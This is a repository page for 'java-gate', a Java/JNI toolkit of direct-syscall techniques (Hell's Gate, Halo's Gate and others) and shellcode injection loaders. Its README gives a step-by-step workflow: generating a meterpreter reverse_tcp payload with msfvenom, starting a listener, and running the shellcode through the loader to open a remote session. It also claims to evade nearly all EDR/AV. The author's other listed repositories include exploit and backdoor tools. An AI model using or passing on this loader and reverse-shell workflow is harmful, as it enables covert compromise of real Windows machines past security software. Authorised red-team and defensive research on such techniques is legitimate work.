• Stars
    star
    187
  • Rank 206,464 (Top 5 %)
  • Language
    C
  • License
    Apache License 2.0
  • Created over 1 year ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Java JNI HellsGate/HalosGate/TartarusGate/RecycledGate/SSN Syscall/Many Shellcode Loaders

java-gate

中文文档

The java-gate project allows for the implementation of various techniques related to "Hell's Gate" using simple Java code, which involves direct system calls.

byte[] shellcode = new byte[] {(byte)0xfc, (byte)0x48, ...};
HellsGate gate = new HellsGate(shellcode);
gate.exec();

It supports multiple techniques evolved from "Hell's Gate," such as "Halo's Gate," "Recycled Gate," "Tartarus Gate," and so on. In addition to system call-related functions, it provides many common Shellcode injection techniques, such as APC injection and remote thread injection, and is compiled and built using C and NASM/MASM assembly language. Finally, it calls these techniques at the Java layer through JNI. Various low-level techniques can be achieved through simple Java code.

Introduction

Why named "java-gate": This project mainly integrates various techniques related to direct system calls, such as Hell's Gate and Halo's Gate. Therefore, it is named "Java Gate," which can also be understood as a gateway between Java and the underlying system.

Note:

  • This project only supports 64-bit Windows and 64-bit JVM (as per JNI's requirement that a 64-bit JVM can only load 64-bit DLLs).
  • It is recommended to use 64-bit shellcode (e.g., windows/x64/meterpreter/reverse_tcp).
  • Loading shellcode in any way may potentially cause JVM crashes (e.g., if the shellcode does not restore the context).
  • Only tested in JDK 8, other versions of JDK may not be stable.

Quick Start

(1) Add the jitpack repository to your Maven configuration:

<repositories>
    <repository>
        <id>jitpack.io</id>
        <url>https://jitpack.io</url>
    </repository>
</repositories>

(2) Import the project:

<dependency>
    <groupId>com.github.4ra1n</groupId>
    <artifactId>java-gate</artifactId>
    <version>0.0.2</version>
</dependency>

(3) Obtain the shellcode

Here, we'll use meterpreter as an example.

msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR-IP LPORT=YOUR-PORT -f java

(4) Start the msfconsole listener

Here, we'll use meterpreter as an example.

msfconsole -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 0.0.0.0;set LPORT YOUR-PORT;run;"

(5) Write a test program

package me.n1ar4;

import me.n1ar4.gate.core.HellsGate;

public class Main {
    public static void main(String[] args) {
        byte buf[] = new byte[]
                {
                        (byte) 0xfc, (byte) 0x48, ...
                };
        HellsGate gate = new HellsGate(buf);
        gate.exec();
    }
}

(6) Go online

The msfconsole connection is successfully established.

The system call modules are as follows. Usage is similar to the previous examples, just change the class name.

Module Class Description Optional
hells-gate me.n1ar4.gate.core.HellsGate Hells Gate /
halos-gate me.n1ar4.gate.core.HalosGate Halos Gate /
recycled-gate me.n1ar4.gate.core.RecycledGate Recycled Gate /
ssn-syscall me.n1ar4.gate.core.SSNSyscall SSN Syscall /
tartarus-gate me.n1ar4.gate.core.TartarusGate Tartarus Gate /

The loader modules are as follows. Usage is similar to the previous examples, just change the class name.

Module Class Description Optional
apc1 me.n1ar4.gate.loader.APC1Loader APC injection using NtTestAlert /
apc2 me.n1ar4.gate.loader.APC2Loader Simple thread-based APC injection /
crt me.n1ar4.gate.loader.CRTLoader Simple remote thread injection Process name
divide me.n1ar4.gate.loader.DivideLoader Create process and inject into it /
early-bird me.n1ar4.gate.loader.EarlyBirdLoader Create new process and APC inject /
etwp me.n1ar4.gate.loader.EtwpLoader EtwpCreateEtwThread-based injection /
rip me.n1ar4.gate.loader.RIPLoader Modify thread context RIP register and execute shellcode /

Here is an example of how to use the command-line tool.

java -jar java-gate.jar [module] [shellcode-hex-string] [optional]

Since the JVM may crash, there is a way to create a new process and execute the code.

java -jar java-gate.jar run-new-jvm [module] [shellcode-hex-string]

This is also an approach, and if you want to run this project in your custom code, you can refer to the code JavaGate#runNewJVM.

Build

There are pre-packaged versions available in the "Release" section, but if you are not confident or need to add your own features, you can manually build it by following these steps:

Please note that this project only supports Windows 64-bit and JVM 64-bit environments, so it can only be compiled and built in that environment.

(1) MSVC x64

The CMake Toolchains use the MSVC x64 tool, and most of the assembly is based on the ml64 compiler from MSVC.

(2) CMake 3.x

The C and assembly code is compiled and built using CMake to generate the corresponding DLL file for JNI. It is recommended to use CLion.

(3) NASM

Most of the assembly is compiled using MASM, but some assembly is compiled using NASM, which needs to be downloaded and configured separately in the PATH.

(4) JDK 8 & Maven

The Java part of the code is built using Java 8 and Maven. It is recommended to use IDEA.

(5) Python 3.x

This project uses Python for some auxiliary tools, which is not actually a necessary option.

Some tests

Almost Bypass all EDR/AV

References and Acknowledgements

Many thanks to the following excellent projects for providing code (most of the code in this project is based on these):

Disclaimer

This tool is intended for cybersecurity research and educational purposes only. It should not be used for any illegal activities.

More Repositories

1

super-xray

Web漏洞扫描工具XRAY的GUI启动器
Java
1,247
star
2

jar-analyzer-gui

建议使用新版:https://github.com/jar-analyzer/jar-analyzer
Java
901
star
3

mysql-fake-server

MySQL Fake Server (纯Java实现,支持GUI版和命令行版,提供Dockerfile,支持多种常见JDBC利用)
Java
670
star
4

CVE-2023-21839

Weblogic CVE-2023-21839 / CVE-2023-21931 / CVE-2023-21979 一键检测
Go
592
star
5

shell-analyzer

已集成到 jar-analyzer 中 https://github.com/jar-analyzer/jar-analyzer
Java
434
star
6

code-inspector

JavaWeb漏洞审计工具,构建方法调用链并模拟栈帧进行分析
Java
323
star
7

Gososerial

参考著名漏扫XRAY的代码,无需Java环境直接从二进制角度构造Ysoserial的Payload
Go
213
star
8

code-encryptor

该项目已集成到 https://github.com/jar-analyzer/jar-obfuscator 使用JNI加密字节码,通过JVMTI解密字节码以保护代码,支持自定义包名和密钥,使用魔法禁止黑客dump字节码
C
160
star
9

poc-runner

Small & Fast Vulnerability Scanner Engine based on XRAY YAML Rule | 基于 XRAY YAML 规则的超轻量快速漏洞扫描引擎 | 基于 ANTLR 实现语法分析和完整的 XRAY YAML 规则实现 | 简单的启动参数 | 包含多种反连可用 | 可执行文件体积仅 2 MB
Go
133
star
10

jar-analyzer-cli

本项目可以把一个或多个Jar包构建成数据库,用户连接数据库后通过SQL语句任意搜索需要的内容,例如类和方法信息,方法调用关系等
Java
74
star
11

XiuScan

随便写着玩的Java漏扫(也是Gososerial库的一个Demo)
Go
73
star
12

MyJavaSec

Java安全学习代码以及环境
Java
34
star
13

Burpsuite-JSScan

burpsuite插件:主动和被动进行JS扫描并分析其中的可利用点
Java
27
star
14

SuperFastjsonScan

XRAY中Fastjson反连平台的简单实现,分析RMI协议实现基于JNDI注入的无回显反序列化漏洞检测Demo
Go
25
star
15

__asm__

Java Inline ASM Library (一个Java内联汇编的库,可以让你在普通Java代码中插入任意的JVM指令,实现类似内联汇编的功能)
Java
25
star
16

y4-lang

A Programming Language designed to be written in Chinese | 中文编程语言 | 基于 golang 的中文脚本语言,完全使用中文编程 | 仅使用 golang 标准库实现,不使用任何第三方库
Go
14
star
17

4ra1n

11
star
18

jdk-8

y4-jdk is an openjdk8u branch that is designed with a great emphasis on security features (y4-jdk是一个openjdk8u分支,重点关注安全特性,防止可能的漏洞利用,做安全方面的完善和改进)
Java
11
star
19

Burpsuite-XFFHelper

burpsuite插件:自动添加一系列XFF请求头,绕过身份认证
Java
5
star
20

JRandom

Java Secure Random Lib | Java 安全随机库 | 使用汇编调用 CPU 的 RDRAND 指令后通过 JNI 提供给 Java 程序 | 支持 Windows 和 Linux
Java
4
star
21

xpoc-plugin

vscode xpoc-plugin
JavaScript
4
star
22

WAF

基于SpringBoot的WAF
Java
3
star
23

CIDemo

SpringInspector项目配套靶机
Java
3
star
24

vhdrw

vhdrw
Go
2
star
25

http-parse

Http Parser
Go
2
star
26

PentesterLab-Docker

Docker启动PentesterLab靶机
Dockerfile
2
star
27

McServerBackdoor

这是一款Minecraft服务器辅助插件,它可以让管理员执行一些系统命令和操作,例如关闭服务器、查看系统信息等。
Java
2
star
28

4ra1n.github.io

4ra1n.github.io
HTML
2
star
29

go-cpe

Analyze and search cpe file of nvd
Go
1
star
30

BabelStudy

参考《反爬虫AST原理与还原混淆实战》一书,从Babel库学习基于AST的JavaScript代码混淆方式
JavaScript
1
star
31

RBTree

简单的红黑树实现
Java
1
star